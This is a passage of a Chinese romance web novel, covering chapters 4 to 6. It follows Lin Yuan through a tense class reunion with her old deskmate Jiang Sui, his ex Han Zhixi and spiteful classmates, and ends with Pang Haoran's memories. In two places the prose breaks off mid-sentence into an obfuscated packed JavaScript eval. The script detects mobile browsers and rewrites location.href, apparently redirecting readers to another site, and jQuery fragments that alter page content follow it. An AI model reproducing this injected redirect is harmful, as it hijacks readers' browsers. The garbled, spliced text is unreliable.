齐柏主要做一些政企单位和学校的公共服务、电子缴费平台,林鸢一想到要和一群四五十岁打底的男领导应酬就头皮发麻。 “小林子加油,你可以的。你这张脸,上个色就是绝美。我们四季度的业绩,靠你了。”杜莱冲她握拳,一脸正经,“你可是我们公司司花。” 林鸢被她的夸张逗乐。 可她还是宁愿去便利店泡一碗方便面,也不想吃那样的“大餐”。 “师哥我……” “三工。” “没问题保证全妆出席。” - 今年他们班的同学聚会约在国庆第二天。 一家开在公共花园里的网红餐厅,承接私人宴会,网上经常有人包场打卡,环境很好。 林鸢前一天晚上就熨好了衣服,上午画完妆,在家吃过中饭,用数位板改了会儿陈工要的画。太过沉迷,以至于回神时已经有些赶。林鸢赶紧出发。 按照最快的不至于堵车也不会迟到的路线,打车转地铁,林鸢沿着公共花园路口的指示牌往里走。 北城一年中最舒朗的天气,温和又明媚。 餐厅主体建在花园里一小片人工湖边,全透明的玻璃结构,像座水晶宫殿。 有服务生见她过来,上前引路。 林鸢道谢跟上。 却在瞥见玻璃幕墙后,长桌上簇拥的人群焦点时,恍然有一种,胸腔被包着兽皮的鼓槌猛然一击,心脏隔着鼓面一阵钝痛的错觉。 闷得她呼吸都顿住。 水晶宫殿里,女孩子穿着酒红色的丝绒连衣裙,笑意盈盈看向身侧。男主角难得正式,白衬衣微松两粒纽扣,唇角弧度低浅,垂眸盯着手里把玩的金属色打火机,安静倾听。 温暖柔和的美好画面,仿佛连滤镜都精挑细选。 韩知希和他们不同校。 林鸢觉得自己就像盛装出席舞会的客人,却在宫殿台阶下,被恶作剧的小孩兜头浇了一整盆冷水。 潮湿而又狼狈地站在原地,让台阶上的看客看她进退两难。 好比此刻,有人看见了她,站起来朝她挥手。 而被围簇在舞会中心的男人,似乎也撩起眼皮看了过来。只是玻璃反光,看不清细微表情。 林鸢顿住的脚步重启,慢慢往前走。 她是从什么时候开始,对吊带连衣裙有了点不合时宜的执念的? 大概是第一次见到韩知希的时候。 少女穿了条碎金色的吊带裙,站在江随身边,挽着他胳膊,言笑晏晏。 画面是那样的和谐与相称。 相称到她站在楼梯拐角处不敢动作,生怕格格不入的宽大校服入镜,损毁那样的画面。 那天放学,她没有立刻回家。 而是去了学校附近的商场。 她没有要和谁比什么,她只是执拗地想证明,她应该也没有那么差。 可眼前的穿衣镜里—— 胸部似乎和她的身高一样,发育得不太妥当。 没有合适她穿的内衣,身上仍是初中买的薄垫小背心。 毛躁凌乱的头发,一成不变的马尾,还没养白的黯淡皮肤。粗宽的,再小心都洗得有些泛黄的背心肩带,遁无可遁地挤在精巧的吊带下面。 可笑到叫人心酸。 16岁的林鸢,在狭小封闭的试衣间里,用一条鹅黄色的吊带裙斩断自己的妄念。 而此刻—— “林鸢来了啊?越来越漂亮了啊。” “还以为你不会来了呢,快进来。” “知希你不用动,我给随哥同桌让位。” “林鸢坐我这儿,谁要跟你们男的挤一起。” 身后夕阳下沉。 林鸢扬笑踏进宫殿,看他们朝她寒暄。 当年站在试衣间外的营业员,敲敲她门,问她试好了要不要出来看看。 少女可怜的自尊心,让她下意识捂住肩带,故作镇定地回答:“不用了,谢谢。最小号也有些大。” 她如今也能穿不会露出肩带的吊带裙了。 却仿若比当年更可笑了些。 4. 第 4 章 拉着林鸢和她一道坐的是体委,很开朗的一个女孩子,当年在班里人缘很好,林鸢对她印象也不错。 但也仅限于此,毕竟体委的好朋友,遍布校园每一个角落。 如果友情里也有渣男渣女,那体委绝对可以毫不谦虚地认领。 林鸢的晕车来得似乎有些滞后,以至于落座后仍觉恍惚。 但工作一年的经验,还是让她不露声色地完成了点头社交。 她在他们眼里,一直是不太爱说话的存在,她无意改变这些人的观点,乐得轻松。 餐厅被重新布局过,鲜花盘错于几条长桌之间,成了可以容纳二三十人分餐聚会的格局。 当初的同学毕业后,有的出国,有的留在北城,也有少部分人去了别的城市求学发展。恋爱的结婚的,谁和谁有了矛盾不再联系的,一年年过去,也就剩了这些。 服务生过来询问是否开始上菜。 预定场地的人应该是当年的班长庞浩然,他迅疾地瞥了眼林鸢,又看向江随:“哥,上吗?” 似乎状况外的江随低“嗯?”了声,慢腾腾地撩起眼皮看他,似笑非笑的:“你待会儿渴了要喝水,是不是也得问问我同不同意?” 庞浩然张了张嘴,有苦说不出,转头示意服务生上菜。 周遭一圈儿人倒是没在意,反笑起来。反正当初上学那会儿就这样。 江随有自己要好的朋友,庞浩然却愿意跟着他。 据庞浩然所说,那是为了同一个大院长大的情谊。实际情况到底如何,无从考据。 林鸢只知道高中时,庞浩然就爱跟在江随后面“咯咯咯”地叫,后来他们去北理,庞浩然也去,同系。 大学里江随组建公司,庞浩然也硬是嬉皮笑脸地插了一脚。毕了业,更是顺理成章地继续追随。 “林鸢,你现在真的是越来越漂亮了,看这腰是腰腿是腿的。”体委说着伸手,捏了把她被连衣裙掐出的细腰,感叹,“当年的校服真是埋没了你的身材。” 林鸢有点儿怕痒,本能躲了下轻笑出声,几道视线不约而同地,朝她这个方向而来。 林鸢没回视,也无意成为聚会焦点,唇角笑意仍挂着,注意力放在服务生端来的漂亮气泡饮上,轻道了声谢。 但显然,有人不喜欢场面这么平静。 “林鸢啊,你这身衣服挺好看的,哪里买的啊?”坐在韩知希身边的女生突然开口问。 林鸢不用推敲,都知道她接下去想说什么。 抬眼看过去,林鸢无所谓地说:“你喜欢?那你别想了,买不到了,”随即报了个商场里快消女装的牌子,“它们家去年的款。” 女生一噎,半口气哽在喉咙里。 像漓江上套住脖子的鸬鹚,叼了条大鱼咽不下去。 庞浩然看她又张嘴,赶紧打断:“谷斯嘉你这老毛病没完了?一天到晚关心的不是穿的就是戴的,你就不能有点儿别的追求?” 谷斯嘉闻言,刚要发作,看见神色淡淡的江随和仿若未闻的韩知希,硬是住嘴。 “我不就是随口一问吗?”她笑得讪讪,“老同学见面本来不就是随便聊聊。” 菜品上桌,这一点前菜都不算的话题迅速揭过。 焦点很快又聚集回男女主角身上。 问韩知希这些年在英国的生活,研究生毕业后的打算。聊江随的游戏公司,羡慕庞浩然跟对了人。 不知是不是受当年江随保送北理计算机系的影响,他们那一届理科班不少人选了这个专业。他们班更不例外。 话题又不可避免地绕到林鸢身上。 “林鸢你当时听随哥的留在他们公司多好,”有人惋惜,“不比在谢师哥的齐柏强?” 她为何没去江随的公司,外人怎么传的,林鸢不知道,但她自己一律说:“没什么适合我的岗位。” 而真实原因如何,只有她自己清楚。 “听说前俩月谢师哥公司的会计被诈骗,到现在都没个说法儿。”庞浩然瞥了眼林鸢,叹气感慨,“齐柏这两年账面上本来就没什么钱,真是屋漏偏逢连夜雨。” 林鸢垂了下眼皮,无声吃菜。 “你小子连齐柏账面上有多少钱都知道?”那人问。 庞浩然笑:“都是这个圈子的,谢师哥当年在北理又那么出名,可是仅次于我哥的存在,传来传去自然听到点。” 说完又补充,“谢师哥去年就在和人谈投资的事儿,我朋友那个秦时,还有杭城的一家公司,都找谢师哥谈过,但都没成。” “秦时今年不是要上会了吗?这都不答应?谢师哥在想什么呢?” 有人意味不明地怪笑了下:“谢师哥可是有理想的人,哪会被金钱迷惑了双眼。” “没人会永远在高峰的。”全程没主动参与过话题的林鸢抬眼,看向那人。 庞浩然愣了愣,下意识想说你是不是忘了你同桌? 但眼看林鸢脸色认真,语气笃定:“师哥当年能靠着一个人一台电脑创立齐柏,以后也不会永远在低谷。毕竟有‘梦想’的人很多,天赋配得上梦想的却不多见。” “你……” 眼看气氛又要紧张,庞浩然赶紧打圆场:“对对对,谁还没个暂时的低谷了。嗳小鹏你现在还在瀚铭吗……” 全程闲闲吃菜的江随,后知后觉地看向林鸢,仿佛想听听她对这位有理想又有天赋的谢师哥,还有没有其它高见。 只是对方已然低头,把注意力重新献给了面前的熟醉罗氏虾。 话题没两句又绕到江随身上,为数不多的几个女生也以韩知希为中心聊了起来。 林鸢突然觉得有点儿没劲。 有人怀念的,还是当年操场上的摇旗呐喊,有人能想到的,早已是谁和谁的未来发展。 很正常,但还是没劲。 后半程,林鸢不知道谁起的头,起哄让北城的纳税大户,请大家去最近新开的一家会所长长见识。 这样的事儿也不是第一回发生,只是学生时代还是火锅烧烤,如今更费钱了一些。 江随同学,一如既往地被当成狗大户。 已经开始上餐后甜点,林鸢起身去洗手间。 问了服务生,在花园另一处,林鸢走出餐厅。 从洗手间出来,林鸢看见离得不远处站着一个瘦高男人,背对着她,正在低声打电话,声音有些耳熟。 “和你先约好的,我已经出来了。”声音温和带笑,“你慢点,不着急。好,挂了。” 并非私密的聊天,林鸢走过去,看清人,是高一和她做了一年前后桌,高二高三又同在一个班的数学课代表路遥。 林鸢明白他是要先走了,刚想和他道个别,就见他转过身,非常正式地叫了她一声:“林鸢。” 林鸢下意识:“在。” 路遥微愣,随即恢复平常神情,轻缓笑道:“别紧张,我就是和你打个招呼。待会儿你们玩得开心,我就不去了。” “好的好的,那,再见。”林鸢也有些好笑,想到自己刚才的样子,像极了刚去一中时跟不上进度,每回数学作业都拖拖拉拉,最后被她后桌拿笔帽轻戳戳肩,吐字规范地叫她一声“林鸢”,然后问她“好了吗”的画面。 那时候她也总像刚才那样,紧张得在他刚叫她名字时,就规规矩矩喊一声“在”。 林鸢说完,路遥却没有立刻就走,反倒说:“因为,我约了五一时相亲的女孩儿,准备晚上向她表白。” 林鸢微讶,没想到他会和自己说这些,却还是唇角漾笑,点点脑袋:“这样啊。” “不是因为合适,而是觉得心动。”路遥像当年解数学题一样,语气严谨,表情却是轻松的,“所以明年同学聚会,我应该……不来了。” 林鸢还没来得及为他庆幸,有些不明所以:“嗯?” 路遥顿了顿,轻“嘶”了声,笑起来:“我觉得……你也有我这样的想法。” 林鸢蓦地了然。 高中三年,林鸢一直觉得路遥是比她还独的存在,满心满眼只有学习,数学更甚。 当年高考出分后,填志愿时回校参加指导会,林鸢知道他所有志愿都填的数学系,如今读研依旧是,往后大抵也是走科研方向,对这样早没了当初少年意气的同学聚会,大概也已兴致缺缺。 “那……”林鸢不知道该给他怎样的祝福,最后抬手在身前竖起两个大拇指,像他们当年校园会时讨论的庆祝动作,真心实意道,“祝你成功!” “好。”路遥扬起笑弧,语速有些慢,“谢谢你,林鸢。” 最后冲她点点头,转过身。 许多人年少时,或许都有个熟悉却不可及的背影。像青春赋予的成长的礼物。 礼盒里的秘密迷惘、酸涩,也甜蜜。 不是所有的礼物都非要拆开,怀抱礼物时的欣喜,已足够有意义。 送走学委,林鸢想了想,往餐厅去。 她刚刚来洗手间没拿包,这会儿回去拿,顺便打声招呼,干脆说她还有事也要先走好了。 却冷不丁闻到一阵,夹杂着烟草味的木质甜香。 是江随,侧身站在路灯下抽烟。 细白烟身,夹在他修长微屈的指骨间。一点猩红被他抬至唇边,在昏暗里忽明忽灭。 他头发有些长了,微低头去凑烟嘴时,一缕额发耷拉到眉骨上。头顶路灯拓下一片昏影,像博物馆打在雕塑上的光。 即便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769059|157803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不言语,依旧是令人神往的存在。 不知道是不是刚才就看见她了,他虽未抬头,却将未燃完的半截烟抵到垃圾桶白色的石英石里捻灭,向她走来。 “道完别了?”他声音懒洋洋的,有轻微的游离感,像浮起的青烟。 林鸢看了他一眼,还是忍不住问:“你什么时候开始抽烟了?” 那股沾了烟草味的木质清香来源何处终于明了。 江随看着她,蓦地低笑了声,语气多了几分玩味:“终于知道关心我了?” “……”林鸢无语地都想抽一抽嘴角,低念了一句“神经”就想走。 江随不说话,抬手,勾住一缕她披在肩骨上的头发,指尖微绕,缠了一圈。 突然间的拉扯感,林鸢下意识抬手捂住发根,半回头低声质问:“江随你干嘛呢?有病啊?” “急什么?”男人抬了抬眉,尾音拖得像问句,“刚不是挺能聊。” 指节微张,那缕黑发自然垂落,发尾带了点儿余温,荡过她锁骨。 林鸢被搔得有些痒,快速拿指背蹭了下,诡异的触感让她有些羞恼,又觉莫名其妙。 她和路遥聊什么了就挺能聊?高中三年和今天加起来的话,还比不上她骂江随“有病”来得多。 江随视线在她一闪而过的小动作上停了一瞬,像是知道她下一秒就要发火一样,淡淡道:“我都不知道她会来。” 又是突如其来的一句解释。 林鸢绷紧的神经,没出息地有一瞬松动,又强迫自己重新拉紧。 她干脆转过身,抬头盯着江随,没给他刚才那句回应,只一副“聊,你聊,我看你要和我聊什么”的强硬表情。 微抬眉,江随的散漫劲儿又回来,语气欠揍地说:“那天怕你又生气,我都没好意思说,你的眼光真是……” 林鸢瞪大眼睛,满瞳孔“你敢说下去我就敢跳起来打人”的威胁。 江随盯着她的架势舔了舔上唇,话音里含着笑,戏谑般:“还不如那路……路什么来着?就刚那个,我们班数学课代表。” “路遥。”林鸢无语。好歹高一就在他们后排,连人名字都不记得。 哦,对,还有她眼光差。那可不,眼光好能看上你吗? “记得挺熟啊,”江随笑了笑,盯着她,“有想法儿?” 林鸢一滞,都震惊了:“你没听见他说,待会儿约了人家女孩子要表白吗?” “那不是还没表白么。”江随无所谓道。仿佛只要她愿意开这个口,路遥就会答应,她就可以横刀夺爱一样。 林鸢只觉得心脏一闷,又被胸腔里蓦地滚起的一团火燎过。 一时竟不知道,是该为他对自己的情感问题操心而难过,还是因为他对男女之间的事,没有一点道德底线而愤然。 “你以为谁都和你一样来者不拒吗?”她突然开口,呛了他一句。又用力捏了捏手指头,干脆挑开毕业时那点龃龉,语气不善道,“再说了,我有想法就有用了吗?” 林鸢微顿,喉间干咽,自嘲般,“毕竟谁会看得上我啊,是吧?江大少爷,陆二公子?” 似有一瞬怔愣,江随嘴角笑意淡了两分,垂睑盯着她。 片刻后,仿佛终于回忆起那天俩人争执的场景,他唇角又漫不经心翘起,薄薄的眼睑上下缓耷,仍是那副闲适懒散的语气:“别冤枉我,我原话可不是这么说的。” 林鸢微眯了瞬眼,眼底没来由地一热。 肉里那根刺,像有人瞧着新鲜,捻着指尖,往深处轻轻一转。 原来妄图用自贬引起对方在意的时候,就已经是在自找难堪。 原来对她来说耿耿于怀,反复自我怀疑的一句话,在他眼里似乎不过是一句……损友之间从没放在心上的玩笑。 北城初秋的夜晚并不凉,风却刮得有些深。 小姑娘清澈漆黑的眼,在路灯下泛起清凌凌的薄光。眼窝都被吹得微红。 江随一顿,夹过烟的指节蜷了瞬,自然地伸手,讨饶般,想去拉她手腕。 唇角漾着好看的弧度,终于是努力放低姿态的语气,说的却又是另一回事:“行了,我现在真没女朋友。” 仿佛她的回避,她的在意,她武装起来的镇定,都是矫情地为了他来哄她一哄。 林鸢被他这副模样点燃了脑袋里的引线。 他到底将她摆在什么样的位置,需要和她解释这些? 他到底明不明白这样暧昧的态度,这些亲近的动作,只会让她因为如此模棱俩可的,自以为是的“特殊”反复猜测和自我拉扯。 火药在他指尖触上来时炸开,林鸢猛地避开他手,后退一步,语气平静道:“和我有关系吗?老同学。” 5. 第 5 章 一小时后,林鸢靠在富贵咂舌的会所真皮沙发里,品尝特调鸡尾酒。 她为什么不来? 显得她害怕面对什么一样。 一整层楼,就是一个巨大的休闲区,只接待同一批客人。偌大的空间,美酒佳肴,歌舞升平。 主包厢里,内凹的回字形大理石茶几中央,用号称明代的酒具做冰桶,碎冰里躺了几瓶价值不菲的洋酒。有人在另一侧吧台边喝酒聊天,有人站在麦克风架边点歌。高中时就爱玩儿几杆的男生,上一边打起了斯诺克,有几对男男女女去了隔间的水疗室做spa。 每个项目边都站着侍应,随时待命。 林鸢只想安安静静喝一会儿酒,半小时后就说自己不胜酒力,然后走人。 免得一起结束时,还要假笑寒暄。 体委中气十足地唱了几首,坐回林鸢旁边,麦克风架子边坐上另外个男生。 新歌的前奏响起,音乐舒缓,应是首不会太快乐的情歌。 果然。 ——“你大概是个盲人, 看不到我嬉笑里的诚恳, 都怪我孤陋寡闻, 错把你的礼貌当做认真。” 林鸢不常听歌,上学时工作后,作业和作图时都喜欢保持安静,否则思绪很容易陷进曲调和歌词中去。 她此刻无事可做,捧着无酒精的漂亮鸡尾酒小口啜引,自然认真听歌。 ——“要怎么启齿,这深藏的心事。 常年寄居在我日记的是你, 擦身时余光都不给的是你,” 林鸢猛地一顿。 ——“暗恋是一个人的事情, 除你之外都知道这个秘密。” 在这句歌词跳出来时,林鸢头皮都有一瞬间缩紧的感觉。 难以名状的紧张和慌乱,顺着发根揪紧她身体的每一寸皮肤。 像她做过的那个噩梦,穿着吊带裙露出背心肩带的少女,在明明锁好的试衣间里,被人猛地拉开那扇小门。 林鸢有一瞬间的慌神,一种秘密在毫无准备的情况下,被人突然戳穿的恐惧。 即便这秘密无人知晓,也无人在意,她却还是在那一刻兵荒马乱到不能自已。 她突然庆幸手里的鸡尾酒已经喝掉半杯。 缓了几秒,她想镇定地再喝一口酒,喉间却像学生时代每一次跑完800米后,哽着一团东西,咽不下去。 第一遍歌词唱完整的时候,林鸢站起来去洗手间。 等她走远到听不见的那刻,歌词落到最后一句,第一遍时没有的一句: ——“比起朋友这样的关系,宁愿从未认识过你。” 吧台边江随手里的酒杯,仿佛因为杯壁沁出水汽而有些滑腻,微晃了瞬。 韩知希垂了垂眼皮,嘴角始终挂着的笑弧看不出深浅,也站起身。 - 林鸢在洗手间隔间里缓了好一会儿,自认为没有异样了才出来。 淋上洗手液,仔仔细细反反复复洗起了手,毕竟她待了这么久。 刚洗完,想扯张擦手纸擦干净,镜子里却多了个人,林鸢微顿。 “我过两天就回英国了。”韩知希凑近水龙头。 “我不在的时候,麻烦你多照顾他。”哗哗流水声里,她笑着说,“毕业之后你不在他身边,他都学会抽烟了。” “……” 林鸢闭了闭眼,深呼吸,吐出一口气,都快被他们气乐了。 她是推动男女主感情的工具人,还是他们play的一环? 这副既像妈帮儿子找新娘,又像正宫大度暂时让位,却既要敲打人,又要你丫鬟似的伺候好她老公的语气,是认真的吗? “那你可别麻烦我。”林鸢没素质地甩了甩基本沥干的手,仿佛在甩什么脏东西。 脸皮上溅到一点冷水星子,韩知希一愣。 水声消失。 “他已经是个成年的男人,不需要谁来照顾。我更没有义务。”林鸢平静道,“我不知道你们的感情分分合合,到底有多曲折离奇,但我想你应该明白,我从没有参与过任何。” 惯用的笑弧掉落,韩知希在镜子里看着她。 林鸢站定,对上她镜中视线,笑笑建议她:“与其叫我照顾他,不如花钱帮他雇个贴身保姆。” 她曾经对韩知希也是有过滤镜的。 那天躲在楼梯拐角处不敢下去,也不敢发出声音的少女,最终还是被人发现了。 “江随,那就是你同桌吧?”穿着碎金吊带裙的少女抬头,笑容灿烂,晃了晃江随的胳膊问。又用温和包容,却不失少女俏皮的语气玩笑道,“好像个小孩子呀。” 林鸢怔在原地。明明是居高临下的角度,却叫她无所适从,甚至忘了去看江随表情。 “你好林鸢,我是韩知希。”她说,“江随女朋友。” 林鸢已经忘记,当时是如何向韩知希打招呼的。 表现得自然吗?得体吗?她真的有些回忆不起来了。 毕竟,人类对自己的尴尬行为通常会选择遗忘。 那样漂亮明丽的女孩子,在一众审美还处在初级阶段的少年人眼里,总是美好的存在。林鸢也没例外。 直到韩知希出国前,来他们学校同江随道别,留下操场主.席台上宣誓主权般的,犹如青春偶像剧的一幕。 两个月后,给她打来越洋电话。 林鸢那时还有些诧异她为何会联系自己。 直到简单的寒暄后她开门见山,带点儿撒娇的要求的语气:“林鸢,我不在国内的时候,你可要帮我看着点儿江随啊。我听说他最近又交了个女朋友,你能以朋友的名义,帮我去和对方……” “别,你别。”林鸢下意识拒绝,“我不能。” 对面似乎没料到,一时沉默。 “我还要学习,没那个时间。”林鸢硬邦邦地回她,“况且,按他如今的发育程度,和四五个同龄的男性对打都有很大赢面,没有女孩子可以强迫他和自己交往。” 简而言之,他要交女朋友是他自己的问题,她管不了,也管不着。更没义务帮着韩知希去管。 “鸢鸢,我以为你和江随是好朋友,”她似乎有些失望地说,“也会把我当朋友。” “可我们好像……”林鸢认真想了想,“才说过两句话。” 如果那句“好像个小孩子呀”也算的话。 那时的她甚至有些怀疑,她和江随还算是朋友吗?毕竟她为了避嫌,除了同学之间不得不有的交流,俩人已经几乎不说话。江随也没有对此表示异议。 “这样啊。”过了许久,韩知希说,“行,那麻烦你了。” 对面说完,不等她回应就挂了电话。林鸢愕然,确信她已经挂了后,想给她回拨,又发现打不了国际长途。 最后只好发了条她不知道能不能看见的消息:【不麻烦,毕竟我也没有答应。】 ………… 那之后,韩知希再也没有私下联系过她。 她能容忍江随至今,是因为在她漫长的几近失色的青春里,那个少年切切实实地给过她向上的希望、引导,和帮助。 若她满足于朋友的身份,那江随在这段友情里,早已仁至义尽。 她喜欢江随,同样也感激他。 至于别人,抱歉,她没有受过任何恩惠。 - 林鸢离开洗手间,没有马上回主包厢。 她不知道那首歌唱完了没有,也不想看见江随。早知道刚刚就把包拿着了。 在一众侍应亟待为她竭诚服务的目光中,林鸢愣是遛跶了一刻钟。 再回去的时候,江随已经走了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769060|157803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 体委说韩知希芒果过敏。 “果汁里原来掺了芒果,知希身上起红疹子,江随送她去医院了。” “随哥脸色都变了,紧张成那样,俩人还说没复合。” “这就是白月光的杀伤力吗?兜兜转转只为等你回头?” “别说,怎么不算深情呢?只要你回头我就在原地,别人终究是过客。”一帮人调笑道。 人已经走了,林鸢好像也没那么着急了。 坐回沙发上,拿过还剩一半的鸡尾酒。杯沿儿上的海盐都化了,像冬天开了暖气的玻璃窗,手指划过,留下一道道水痕。 “浩子,”庞浩然终于落单,有有意交好的男生凑过去,手指往上指指,“听说随哥他父亲又要……” “你小子消息还挺灵通啊。”庞浩然笑骂,又说,“不知道,不清楚,别问我啊。” “嗳,林鸢和随哥最熟,你知道吗?”那人问她。 “不清楚。”林鸢弯了弯嘴角,“我们毕业之后就很少联系。” 一旁谷斯嘉闻言,仿佛猛然来了兴致,还没等男生再问,就感叹道:“哎,王子果然是留给公主的。” “怎么灰姑娘是被你开除迪士尼公主团了?”体委笑她。 “灰姑娘她爸也是贵族好吧?你还真以为贫民窟少女能参加舞会啊?”谷斯嘉意有所指地调尖了音量。 或许是因为今天王子和公主的故事终于回归正途,谷思嘉就像看见女主人和老爷重归恩爱的贴身大丫鬟,终于可以挺直腰杆,对像她这样不知轻重,总在老爷身边晃悠碍眼的洗脚婢颐指气使了。 林鸢也不太明白,她那份与有荣焉的得意劲儿到底是怎么来的,就像她不理解有人看见上网炫富的二代,上赶着自称老奴叫少爷小姐的。 怎么的,是叫两声对方就能给你点儿钱花? “那也不一定,只要有人愿意当冤大头,还是挺有希望的。”林鸢端起面前的鸡尾酒朝她举了举,无所谓道,“比如你和我,这会儿不也坐在这里一起喝酒唱歌吗?” “啥?”因为林鸢带上了自己,导致谷斯嘉一下没反应过来,愣了片刻,才被人戳中肺管子似的从沙发上弹射起来,指着林鸢道,“林鸢你什么意思?你说谁穷呢?!” 林鸢睁着无辜的大眼睛,平平软软的话音毫无杀伤力:“说你和我啊。” “你、你……”谷思嘉当年和她交手的经历就不甚美妙,此刻更是只会抬手指着她翻起旧账,“当年是哪个穷逼穿150块范思哲的?是谁?!” “行了行了,你干嘛呢谷斯嘉?”几个男男女女上去拦劝,“都是老同学,说那陈芝麻烂谷子的事儿干嘛?” “是啊,本来就是随哥好意,没他我们都上不了这儿。林鸢说得也没错,你较那真做什么?” “再说了,随哥当初都说了那鞋是他买的,你还提?” “江随说是他买的你们也信?!”谷斯嘉音量陡然尖利,居然眼睛都发红,昏暗的包厢里都能看清,“江随是什么身份?他会和这土包子一样不认识范思哲?他会给这土包子买鞋?!” 林鸢看着眼前闹哄哄的场景,突然觉得特别没意思。 不光是同学聚会越来越变味的没意思。 而是如今拦着谷斯嘉的有些人,当年也曾在谷斯嘉“揭穿”她穿了假名牌时,对着她指点过,窃笑过,避之不及过。 少年有最大的善意,也有最无知的恶。生存法则无师自通。 仿佛只有加入更庞大的团体,共同排斥那个被选出来的“标的”,才能融入集体,让自己免受排挤。林鸢不止一次体会过。 “同学们慢慢喝,我先走了。”林鸢放下酒杯,拿过身侧小包,站起来,斜跨好,潇洒挥手,“拜拜。” 走出包厢,拿出手机,退出“永远的高三(1)班”。 6. 第 6 章 林鸢进了电梯,谷斯嘉还没消停。 旁人也劝累了,尤其是庞浩然。 谷斯嘉父亲是韩知希爷爷的司机,当了很多年。讲礼貌,他见了也会叫声谷叔叔。 庞浩然不知道谷斯嘉是什么心态,但也被她一次次的犯蠢弄烦了。 “还有完没完了?”庞浩然冷淡出声打断她的呱噪。 谷斯嘉一愣。咬了咬牙,牙龈都咬痛,默不作声,又感觉下不来台。 庞浩然瞥了她一眼,到底给一两分面子:“打个不恰当的比喻,如果那位是正宫娘娘,人林鸢就是苏培盛,你见过换皇后的,见过换贴身公公的吗?你和她较什么劲?” 一帮人为他的幽默笑起来,谷斯嘉作势嘀咕了两句,也就作罢。 场面重新热闹起来。 庞浩然瘫在沙发里,看见江随给他发来:【她回来没?】 江随走的时候,扫了眼林鸢放在沙发上的包。 给江随说了声:【小林子已经走了。】 对面没再回复,庞浩然听着音乐,有片刻愣神。 他和江随,的确是一个大院待过的孩子。 但他模模糊糊的印象里,江随三四岁的时候,突然有一天就那么不见了。他好奇问过家里,说是被他母亲那边的人接走了。 他小时候也疑惑,为什么江随不像陆靖哥一样姓陆,大人就说,江家那边也需要继承人。 他懵懵懂懂的,只觉得这三个字很厉害。比他爷爷一天到晚叫他“小兔崽子”厉害。 不过小孩子的玩伴,本来也没那么钟情,时间一长,他自然也就忘了。可过了好几年,江随又突然回来了。 起初,他以为是因为陆爷爷过世,可后来,江随也没有再走。 他问大人:江家又不需要继承人了? 家里大人用一副“这孩子也就这样了”的表情叹了口气,拍拍他脑袋:靖哥儿的路你是走不了了,多跟着点儿江随吧。 庞浩然知道自己不聪明,但他肯听聪明人的话。 只是从小学跟到高中,好像都入不了聪明人的眼。 直到那天江随找到他,难得拜托人的语气:“庞浩然,帮个忙。” 庞浩然不知道还有什么忙,是陆家不能帮江随的,但他知道,他的机会来了。 除了需要帮忙的事儿,有点儿神奇——帮他找双和林鸢脚上一样的,同款男鞋。实在没同款,就认准那个标。 庞浩然回忆起林鸢脚上那双球鞋,上网一搜。 果然,某宝都不会仿的款式,属于山寨了个标,又随心所欲了个款。毫无事实依据。 庞浩然觉得这机会也不是那么好抓的。 江随笑着提醒他:林鸢那鞋一看就是新买的,既然是线下有售,也不会仅此一双。 庞浩然了然。 家里有亲戚在市监工作,逢年过节聚会时他也听过一嘴,前几年国外大牌主打围剿线上售.假,如今实体反而成了重灾区。 他都想谢谢谷斯嘉,没在周一就给他捅篓子,给了他双休两天的时间去备战。 他当时就给那位亲戚打了电话,告之这条“重要线索”。 对面也有些狐疑,以为小孩子要弄什么恶作剧。 庞浩然也不知道怎么解释,只说自己肯定不是干坏事。 对面还是不信,庞浩然没办法,只好祭出江随,说是他朋友买到了假货。 江随耷了下眼皮,没阻止。 礼拜天大半夜,庞浩然把一仓库假名牌儿里翻出来的同款男鞋给人送去。 “谢了。”那回,向来对他不咸不淡的江随,依旧笑得漫不经心,却对他说,“欠你个人情。” ………… 那之后,他和江随的关系总算是近了不少。 但那个人情,他还是聪明地留到了关键时刻。 如今的极乐游戏,他占了20%的股份。新上线的女性向游戏,首月流水破三亿。 他当然知道那时的江随压根不缺资金。 如今定居港城的江家,清末从江南到穗城发展轻工业,纺织厂面粉厂起家,在那个动荡的年代,给国家提供了不少援助。 这样的大家族,就算没有实权的分支,也能从家族基金里,每月领取普通人工作一生,或许都攒不到的生活费。 终归不缺他那点钱。 他那时提出入股份额,江随只笑了笑,说了声“行”。 他明白,那人情清了。 庞浩然一直觉得,别看江随和陆靖哥那副冷肃面容截然不同,平时总挂着笑,仿佛什么都无所谓的懒散模样,其实骨子里是个挺冷情的人。 除了被他当作朋友的那三位,还有林鸢这个例外,他对别人,好像都可有可无——包括来去自由的韩知希。 说实话,他也弄不清江随到底是怎么想的。 他从没见过江随对哪个女孩子如此上心,可也没见他为了谁真正收过心。 他对林鸢有意思吗?似乎也不像。 觉得林鸢长得不好看?所以没看上?那仿佛也不对。 别说江随的历任女朋友里,也有那么两个长相普通的——毕竟长得太抱歉的,大概也不好意思跟他表白,若说从前的林鸢是还没长开的丑小鸭,那如今也算是拿得出手的存在。 难道是因为以往接近他的女生,都想和他有点儿什么,所以江随才对林鸢这份唯一的异性友谊,格外珍惜? 不过重视是一回事,将来把谁娶回家,又是另一回事。 即便江随没走陆靖哥的路子,陆家对江随好像也向来放任生长,但港城的江家呢?对未来的豪门儿媳会没有半点儿要求吗? 连他这样已经被半放弃的“小兔崽子”,都不敢说不经家里同意随便带个女孩子,只因为喜欢就要结婚。不给家族添益,也总不好拖后腿。 何况是江随那样的家庭。 